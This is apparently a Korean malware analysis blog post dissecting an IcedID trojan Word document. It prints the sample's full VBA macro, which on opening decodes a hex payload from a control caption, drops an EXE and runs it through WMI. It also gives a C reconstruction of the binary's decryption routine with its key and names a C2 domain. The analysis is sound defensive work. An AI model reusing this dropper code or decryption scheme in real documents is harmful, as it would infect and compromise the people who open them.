git : https://github.com/synod2/DOC_Malware/trojan_EvilDoc-IcedID
any.run 에서 수집한 악성코드 샘플을 가지고 분석을 진행하였음.
악성코드 이름 : trojan_EvilDoc-IcedID.doc
MD5 : 4A88E83B325AA23DA1E4BFA90B4F7C34
doc용 vba script를 오피스를 실행하지 않고도 추출할 수 있는 도구를 사용해 스크립트를 추출 후 분석을 진행하였다.
VBA 스크립트 추출
먼저 info 명령어를 실행하여 해당 문서의 정보를 파악해보면
OLE2 형식 파일이 아니기 떄문에 분석할수는 없지만, 오피스 2007 이상의 XML 포맷 파일임이 확인되어 inflate 명령어를 실행하라는 결과를 볼 수 있었다. (OLE 파일 포맷에 대한 분석은 나중에 따로 진행하자.)
inflate 실행시에는 위와 같은 결과가 나온다. 해당 경로로 이동하면 doc문서를 구성하는 파일들이 Decompress 된 결과가 보인다.
이 중에서 .bin 파일들에 대해 추가적인 분석을 진행해보라고 하였으니 그대로 진행한다.
.bin 파일을 로컬로 뺴오려고 하니 백신에 탐지되어 차단되어 vm에서 계속 분석을 진행한다.
찾아낸 두개의 .bin 파일인 vbaProject.bin 과 activeX1.bin 에 대해 info명령어를 실행하였다.
vbaProject에서는 vb 매크로 코드를 탐지하였고, activex1 에서는 그렇지 못했다. 탐지된 매크로 코드가 추출되었으므로, 해당 매크로 코드를 확인해보자.
JuneDocu 파일이 추출되어 .vbs 확장자 변경후 로컬로 옮겨 분석 진행한다.
Attribute VB_Name = "JuneDocu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function MakeSureDirectoryPathExists Lib "imagehlp " (ByVal lpPath As String) As Long
#Else
Private Declare Function MakeSureDirectoryPathExists Lib "imagehlp " (ByVal lpPath As String) As Long
#End If
Private Sub Document_Open()
Dim i, d
Dim strTemp$, strReturn$, hextostr$
Dim CurFolder$
Dim GenerateFileName$, sFile$, sValues$
CurFolder = "C:\1\Whole"
d = CurFolder & "\" & "PFSDNSKDF.E" + Chr$(88) + Chr$(69)
hextostr = ToggleButton1.Caption
If Right$(CurFolder, 1) <> "\" Then CurFolder = CurFolder & "\"
MakeSureDirectoryPathExists CurFolder
For i = 1 To Len(hextostr) Step 2
strTemp = Chr(Val("&H" + Mid(hextostr, i, 2)))
strReturn = strReturn + strTemp
Next i
hextostr = Right(strReturn, Len(strReturn) - 1)
Open d For Binary As #1
Put #1, , Chr$(77) + hextostr
Close #1
Set process = GetObject(ChrW(119) & ChrW(105) & ChrW(110) & ChrW(109) & ChrW(103) & ChrW(109) & ChrW(116) & ChrW(115) _
& ChrW(58) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(51) & ChrW(50) & ChrW(95) & ChrW(80) & ChrW(114) _
& ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115))
process.create d, Null, Null, processid
On Error GoTo errorHandler
ActiveDocument.Close _
SaveChanges:=wdPromptToSaveChanges, _
OriginalFormat:=wdPromptUser
errorHandler:
If Err = 4198 Then MsgBox "Document was not closed"
Dim x
For x = 0 To 1
Call DateAdd("s" + vbNullString, x, Now)
DoEvents
Next x
End Sub
위에서부터 분석하자.
VBA Script 분석
#If VBA7 Then
Private Declare PtrSafe Function MakeSureDirectoryPathExists Lib "imagehlp " (ByVal lpPath As String) As Long
#Else
Private Declare Function MakeSureDirectoryPathExists Lib "imagehlp " (ByVal lpPath As String) As Long
#End If
우선 VBA 버전을 확인하는 명령어가 있는데, 그 결과에 따라 MakeSureDirectoryPathExists 함수를 선언한다.
vba7은 64비트 운영체제를 지원하므로, 이전에 봤던 악성코드와 유사하게 운영체제 아키텍쳐를 검사하여 그 결과에 따라 다른 동작을 한다고 생각하면 될듯.
MakeSureDirectoryPathExists 함수
주어진 절대 경로에 포함된 모든 디렉토리를 검사하고, 해당 디렉토리들이 존재한다면 그대로 두고, 존재하지 않으면 모두 생성하는 함수이다.
c:\a\b\c\d 라는 경로를 인자로 함수를 실행하였을 때, c:\a\b 라는 디렉토리가 존재하면
c:\a\b\c 와 c:\a\b\d 두개의 디렉토리를 생성한다.
64비트 운영체제에서는 vba 에서 Private Declare 선언 대신 Private Declare PtrSafe 로 선언한다. 즉, 해당 분기문은 64비트 운영체제에서 MakeSureDirectoryPathExists 함수를 선언하기 위해 들어간 것.
Private Sub Document_Open()
Dim i, d
Dim strTemp$, strReturn$, hextostr$
Dim CurFolder$
Dim GenerateFileName$, sFile$, sValues$
CurFolder = "C:\1\Whole"
d = CurFolder & "\" & "PFSDNSKDF.E" + Chr$(88) + Chr$(69)S
hextostr = ToggleButton1.Caption
그 다음, CurFolder라는 변수에 "C:\1\Whole" 문자열이 저장되고, 이를 가지고 d 변수에 "C:\1\Whole\PFSDNSKDF.EXE"라는 디렉토리 경로를 완성시킨다.
그 다음, hextostr 변수에 ToggleButton1.Caption 값을 저장 하는데, togglebutton은 엑셀 문서에서 vba를 활용하여 생성할 수 있는 버튼 기능으로, 해당 토글버튼의 캡션 문자열을 가져와 hextostr에 저장한다고 보면 된다.
엑셀에서 생성한 오브젝트들에 대한 정보는 activeX1.bin파일 안에 들어있으므로, 해당 파일을 열어 분석을 진행한다.
파일을 열어보면 16진수 문자열로 되어있는 부분이 확인된다. 이 부분만 따로 복사해서 저장해두고, 계속 스크립트 분석을 진행한다.
If Right$(CurFolder, 1) <> "\" Then CurFolder = CurFolder & "\"
MakeSureDirectoryPathExists CurFolder
그 다음은 if문이 나온다. Right는 문자열을 자를때 쓰는 함수이고, $는 String 변수를 사용할 때 쓰는 형식 선언 문자이므로 CurFolder 변수에 들어있는 문자열 맨 오른쪽 한글자를 잘라오는 것.
<> 비교연산자는 부등호 연산자로써 좌우 값이 다르면 True를 반환한다.
비교연산의 결과가 True이면 CurFolder 변수 맨 끝에 \ 문자를 추가하는 동작을 한다.
즉, CurFolder 변수 오른쪽 맨 한글자가 \ 가 아니면 , CurFolder 변수 맨 끝에 \ 문자를 추가한다는 의미.
그렇게 한 다음 맨 처음 선언했던 MakeSureDirectoryPathExists 함수를 실행하여 CurFolder 변수에 들어있는 문자열 대로 디렉토리를 생성한다.
For i = 1 To Len(hextostr) Step 2
strTemp = Chr(Val("&H" + Mid(hextostr, i, 2)))
strReturn = strReturn + strTemp
Next i
hextostr = Right(strReturn, Len(strReturn) - 1)
이후에는 반복문이 실행되는데, i 값을 반복문의 카운터로 하여 2씩 증가시킨다.
반복문 내부에서는 Mid 함수를 통해 hextostr에서 i 변수에 들어있는 수 만큼의 위치로부터 2 글자씩 문자열을 잘라온 다음, Val 함수를 실행해 문자 형태의 숫자를 정수값으로 변환한다.
이 떄 접두사로 &H 형식 선언문자가 나옴으로써 16진수 취급을 받아 16진수 문자를 정수로 변환하게 된다. 파이썬에서 int(val,16) 을 쓴 것과 동일한 결과값이 나오는것.
그렇게 만들어진 정수를 Chr 함수를 통해 문자열로 변환 한 다음, strReturn 변수에 변환하는 대로 저장하면서 이어붙여 맨 오른쪽 1글자를 제외한 나머지가 hextostr 변수에 저장된다.
Open d For Binary As #1
Put #1, , Chr$(77) + hextostr
Close #1
Set process = GetObject(ChrW(119) & ChrW(105) & ChrW(110) & ChrW(109) & ChrW(103) & ChrW(109) & ChrW(116) & ChrW(115) _
& ChrW(58) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(51) & ChrW(50) & ChrW(95) & ChrW(80) & ChrW(114) _
& ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115))
process.create d, Null, Null, processid
togglebutton.caption에서 읽어 들인 스트링 내용을 통해 악성 exe 파일을 생성하고 실행하는 구문이다.
d 변수는 "C:\1\Whole\PFSDNSKDF.EXE" 라는 파일 경로를 담고 있었는데, #1 이라는 이름으로 해당 파일을 오픈하고, Put 함수를 실행해 파일 안에 아까 만들었던 hextostr 문자열의 맨 앞에 "M"을 붙여 저장한다.
그 다음, GetObject 함수를 실행한다.
GetObject 함수
GetObject 함수는 ActiveX 구성요소가 제공하는 객체에 대한 참조를 반환한다.
이미 실행중인 인스턴스를 인자로 하여 함수가 실행되고, 인자값이 프로그램 경로를 가리킬 경우 해당 프로그램을 실행하고 객체를 반환한다.
즉, GetObject 함수의 인자로 들어간 구성요소에 대한 객체를 생성한다는 의미. 정수값을 이어붙여 문자열을 생성하면 아래와 같은 결과가 나온다
winmgmts:Win32_Process는 WMI(Windows management Instrumentation - 윈도우 관리도구)중 하나인 winmgmts.exe 의 Win32_Process 클래스를 가리킨다.
Win32_Process 클래스는 운영체제의 프로세스에 접근할 수 있는 클래스로 사용되는데, 이 경우는 프로세스 실행을 위해 사용되는것으로 보인다.
Getobject로 가져온 Win32_process 오브젝트를 이용해 변수 d에 저장되어 있던 "C:\1\Whole\PFSDNSKDF.EXE" 를 실행하고 프로세스를 생성하는 과정으로 이해하면 될 듯 하다.
On Error GoTo errorHandler
ActiveDocument.Close _
SaveChanges:=wdPromptToSaveChanges, _
OriginalFormat:=wdPromptUser
errorHandler:
If Err = 4198 Then MsgBox "Document was not closed"
Dim x
For x = 0 To 1
Call DateAdd("s" + vbNullString, x, Now)
DoEvents
Next x
End Sub
끝부분. 크게 주목할만한 부분은 없어보인다. 해당 문서가 닫혔는지 확인하는 정도.
종합하면,
- 운영체제 아키텍쳐 검사 - 종류에 따라 다른 동작 수행
- C:\1\Whole\ 디렉토리 생성
- C:\1\Whole\PFSDNSKDF.EXE 파일 생성
- C:\1\Whole\PFSDNSKDF.EXE 실행하여 프로세스를 생성
의 순서로 문서형 악성코드가 동작한다는것을 알 수 있다.
바이너리 분석 - Winmain
실행 바이너리를 추출하여 분석을 진행하자.
WinMain 코드를 IDA 로 실행하여 디컴파일한 결과를 보자.
- v20 변수에 특정 문자열을 복사
- LoadLibraryExW 함수로 WerFault.exe 를 현재 프로세스에 로드
HMODULE LoadLibraryExW(
LPCWSTR lpLibFileName,
HANDLE hFile,
DWORD dwFlags
);
return : 로드된 모듈의 handle. 실패시엔 NULL
- LoadLibraryEX 함수는 LoadLibrary 함수와 유사하지만, 다음과 같은 차이점이 있다.
- LoadLibraryEX 함수는 DLL내부의 DLLMain함수를 호출하지 않고도 DLL 모듈을 로드할 수 있음
- LoadLibraryEX 함수는 실행되지 않는 모듈이더라도 데이터 파일처럼 모듈을 로드할 수 있음
- LoadLibraryEX 함수는 해당 모듈과 관련된 모듈을 모듈을 찾거나 프로세스별 디렉토리 집합을 검색할 수 있음.
- FindResourceA 함수 실행하여 0xA 형식의 0x8A2E 이름을 가진 자원을 찾아옴.
HRSRC FindResourceA(
HMODULE hModule,
LPCSTR lpName,
LPCSTR lpType
);
return : 해당 자원위치에 접근할 수 있는 handle 값 반환. 실패시엔 NULL
- 이때 hmodule 값에 0이 전달되면 현재 모듈을 로드하는 최 상위 실행파일에서 해당 자원을 탐색해온다. 즉, 현재의 경우는 PFSDNSKDF.EXE에서 자원을 찾아오는 것.
- 이 함수의 동작을 통해 .rsrc 섹션에 있는 해당 자원을 찾아와 핸들을 v4에 저장함
- 3의 동작이 성공하면 3에서 찾아온 핸들값을 인자로 하여 LoadResource 함수 실행 하여 v15에 핸들값 저장
HGLOBAL LoadResource(
HMODULE hModule,
HRSRC hResInfo
);
return : 자원과 연결된 데이터에 대한 handle 값 반환. 실패시엔 NULL
- 4의 동작이 성공하면 3에서 찾아온 핸들값을 인자로 하여 SizeofResource 함수 실행 하여 v6에 자원의 크기 저장
DWORD SizeofResource(
HMODULE hModule,
HRSRC hResInfo
);
return : 자원의 크기 반환, 실패시엔 0
- GetCurrentProcess 함수 실행하여 현재 프로세스의 핸들을 v10에 저장
HANDLE GetCurrentProcess();
return : 현재 프로세스의 handle
- 6에서 찾은 현재 프로세스 핸들과 5에서 구한 자원의 크기를 인자로 VirtualAllocExNuma 함수 실행하여 메모리 페이지의 주소를 v11에 저장. 즉, 메모리 동적 할당을 진행함.
LPVOID VirtualAllocExNuma(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect,
DWORD nndPreferred
);
return : 할당된영역의 메모리 페이지 베이스 주소, 실패시엔 NULL
- 현재 4번째 인자인 flAllocationType 에는 0x3000이 전달되었는데, 이는 MEM_COMMIT | MEM_RESERVE 플래그를 세팅하고, 메모리 영역 할당과 예약을 동시에 진행함을 의미함.
- reserve 플래그가 일정 메모리 영역을 예약하고, commit 플래그가 예약된 메모리 영역과 물리적 메모리를 매핑한다.
- 7의 동작이 성공하면 memcpy_0 함수를 실행하여 해당 메모리 영역에 4에서 찾아온 데이터를 복사한다.
- 1에서 복사한 문자열이 들어있는 v20변수와 7에서 할당한 메모리 주소를 인자로 sub_401030 함수를 실행한다.
정리하면, WinMain에서는
- 0x8A2E라는 이름을 가진 자원을 가져와
- 메모리 공간에 동적 할당하고 그 내용을 복사하며
- 복사한 메모리 공간과 특정 문자열을 인자로 sub_401030 함수를 실행한다
로 요약이 된다. 이때 v12가 함수 포인터로 선언이 되어 있어, sub_401030 함수를 거쳐 복호화된 프로그램 코드가 실행 될 것이다.
바이너리 분석 - sub_401030
WinMain에서 복사한 문자열과 할당한 메모리 공간을 인자로 넘겨 실행하는 함수인데, 전달된 내용들을 연산하여 디코딩 내지는 복호화하는 루틴으로 보인다.
C코드로 해당 내용 복원하여 파일로 출력하였다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef unsigned char _BYTE;
unsigned int sub_401030(int a1, _BYTE *a2, int a3) {
unsigned int result; // eax
unsigned int v4; // eax
char v5; // bl
unsigned int v6; // edi
unsigned int v7; // eax
char* v8; // esi
unsigned char v9; // bl
unsigned int v10; // [esp+8h] [ebp-1A50h]
unsigned int v11; // [esp+Ch] [ebp-1A4Ch]
_BYTE* v12; // [esp+Ch] [ebp-1A4Ch]
char v13[6724]; // [esp+10h] [ebp-1A48h]
result = 0;
if (a3)
{
do
{
v13[result] = result;
++result;
} while (result < 0x1A42);
v11 = 0;
v4 = 0;
v10 = 0;
do
{
v5 = v13[v4];
v11 = (v11 + *(unsigned char*)(v4 % 0x26 + a1) + (unsigned char)v13[v4]) % 0x1A42;
v13[v4] = v13[v11];
v13[v11] = v5;
v4 = v10 + 1;
v10 = v4;
} while (v4 < 0x1A42);
v6 = 0;
v7 = 0;
v12 = a2;
while (1)
{
--a3;
v8 = &v13[(v7 + 1) % 0x1A42];
v9 = *v8;
v6 = (v6 + (unsigned char)*v8) % 0x1A42;
*v8 = v13[v6];
v13[v6] = v9;
*v12++ ^= v13[(v9 + (unsigned char)*v8) % 0x1A42];
if (!a3)
break;
v7 = (v7 + 1) % 0x1A42;
}
result = (unsigned int)a2;
}
return result;
}
int main() {
char v20[] = "OwcRJEC2g5NJ9wbOmJnUO5nK1LWXpbbndxlN4";
int size;
int count;
void (*res)(void);
FILE* fp = fopen("g:\\res", "rb");
FILE* fp2 = fopen("g:\\dec", "wb");
if (!fp)
return 0;
fseek(fp, 0, SEEK_END);
size = ftell(fp);
res = (void (*)(void))malloc(size + 1);
memset(res, 0, size + 1);
fseek(fp, 0, SEEK_SET);
count = fread(res, size, 1, fp);
sub_401030((int)&v20,(_BYTE *)res, size);
fwrite(res, 2, size, fp2);
}
복호화 결과 헥스코드로 된 루틴이 보인다.
바이너리 분석 - 추출 헥스코드 동작 분석
동적 디버거로 보면 위 루틴에서 복호화가 진행되는게 확인된다. call esi가 v12()를 의미하는걸로 추정된다.
위 시점에서 ESI 레지스터에 009E0000 주소값 들어있는것 확인되고, call esi로 함수 내부로 진입한다.
내부적으로 루틴이 돌면서 GetNativeSystemInfo 함수와
VirtualAlloc 함수를 차례로 실행한다.
그 후 LoadLibraryA 함수를 실행하여 ADVAPI32.dll을 로드한 다음
GetUserNameA, LookupAccountNameW 함수를 차례로 실행하고
SHLWAPI.dll, KERNEL32.dll 을 로드한다.
이후 LoadLibrary → 함수 호출의 과정을 반복하는데,
해당 메모리 영역에 존재하는 문자열들을 보면 어떤 함수와 DLL을 로드하는지를 확인할 수 있다.
이후 계속 진행하다보면 winhttp 관련된 함수를 실행하는 시점이 나온다 . 즉, 네트워크 통신 동작이 포함된 것.
APIMonitor로 이동하여 계속 분석 진행해보자.
바이너리 분석 - 네트워크 통신
APIMonitor에서 Internet과 Networking API에 필터를 걸고 진행하면 winhttpConnect 함수가 실행되는걸 확인 가능하다.
any.run의 분석 결과에서는 위와같은 URL들에 대해 연결 요청이 있음이 확인되는데, 그중 connuwedro.xyz 이라는 URL에 대해서는 연결이 실패한것이 보인다.
해당 URL에 대한 urlhaus 검색 결과 malware URL로 분류되었고, 접속이 차단된 상태임이 확인된다.
APIMonitor 상에서도 해당 URL에 대해 연결 요청한 것 확인되고, 접속 불가하여 에러가 발생한것까지도 확인할 수 있다.
해당 URL에 접속 불가하므로, 이후 어떤 동작들을 실행하는지 까지는 더이상 분석이 불가능하였다.
정리
trojan_EvilDoc-IcedID.doc 악성코드는 아래와 같은 순서로 동작한다.
- DOC파일에 포함된 VBA 스크립트 실행하여 C:\1\Whole\PFSDNSKDF.EXE 생성 후 실행
- 바이너리 내부적으로 디코딩을 거쳐 네트워크 통신 코드 복원 후 실행
- connuwedro.xyz URL 요청하여 이후 악성동작 진행
이떄 네트워크 통신 관련 부분들이 바이너리 내부에 인코딩되어 따로 저장된 이유는 백신등에 의한 탐지를 막기 위함으로 추측된다.
3번 이후로 진행되는 악성 동작은 현재 원본 URL 접속이 불가하여 파악이 불가능하였다.
2번에서 파악된 접속 요청 URL만 보면 인텔, 애플, 마이크로 소프트, 트위터등에도 접속요청을 진행하는것으로 보아, 다량의 PC에 본 악성코드가 전파될 경우 DDOS 공격을 위한 좀비피시로도 활용이 가능할 것으로 추측된다.
참고 문서
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexw - MSDN LoadLibraryEX 함수
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-findresourcea - MSDN FindResourceA 함수
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource - MSDN LoadResource 함수
https://bloodguy.tistory.com/entry/Delphi-실행되고-있는-모듈의-이름-알아내기 - Hmodule에 0 들어갈 경우